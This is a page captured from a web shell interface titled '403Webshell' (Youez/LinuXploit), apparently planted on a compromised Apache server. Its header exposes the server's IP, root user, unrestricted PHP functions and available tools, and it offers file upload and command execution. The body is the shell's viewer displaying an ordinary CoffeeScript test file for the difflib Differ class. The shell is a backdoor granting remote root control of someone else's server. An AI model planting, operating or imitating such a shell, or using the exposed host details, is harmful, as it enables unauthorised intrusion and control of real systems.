403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.54
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/dev.wowchat.co_01012026/node_modules/difflib/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/dev.wowchat.co_01012026/node_modules/difflib/test/Differ.coffee
{Differ} = require '..'

suite 'Differ'

test '#_qformat', ->
  d = new Differ
  results = d._qformat('\tabcDefghiJkl\n', '\tabcdefGhijkl\n',
                       '  ^ ^  ^      ',   '  ^ ^  ^      ')
  results.should.eql [
    '- \tabcDefghiJkl\n',
    '? \t ^ ^  ^\n',
    '+ \tabcdefGhijkl\n',
    '? \t ^ ^  ^\n'
  ]

test '#_fancyReplace', ->
  d = new Differ
  d._fancyReplace(['abcDefghiJkl\n'], 0, 1,
                  ['abcdefGhijkl\n'], 0, 1).should.eql [
    '- abcDefghiJkl\n',
    '?    ^  ^  ^\n',
    '+ abcdefGhijkl\n',
    '?    ^  ^  ^\n'
  ]

test '#compare', ->
  d = new Differ
  d.compare(['one\n', 'two\n', 'three\n'],
            ['ore\n', 'tree\n', 'emu\n']).should.eql [
    '- one\n',
    '?  ^\n',
    '+ ore\n',
    '?  ^\n',
    '- two\n',
    '- three\n',
    '?  -\n',
    '+ tree\n',
    '+ emu\n'
  ]

  text1 = [
    '1. Beautiful is better than ugly.\n',
    '2. Explicit is better than implicit.\n',
    '3. Simple is better than complex.\n',
    '4. Complex is better than complicated.\n'
  ]
  text2 = [
    '1. Beautiful is better than ugly.\n',
    '3.   Simple is better than complex.\n',
    '4. Complicated is better than complex.\n',
    '5. Flat is better than nested.\n'
  ]
  d = new Differ()
  d.compare(text1, text2).should.eql [
    '  1. Beautiful is better than ugly.\n',
    '- 2. Explicit is better than implicit.\n',
    '- 3. Simple is better than complex.\n',
    '+ 3.   Simple is better than complex.\n',
    '?   ++\n',
    '- 4. Complex is better than complicated.\n',
    '?          ^                     ---- ^\n',
    '+ 4. Complicated is better than complex.\n',
    '?         ++++ ^                      ^\n',
    '+ 5. Flat is better than nested.\n'
  ]

Youez - 2016 - github.com/yon3zu
LinuXploit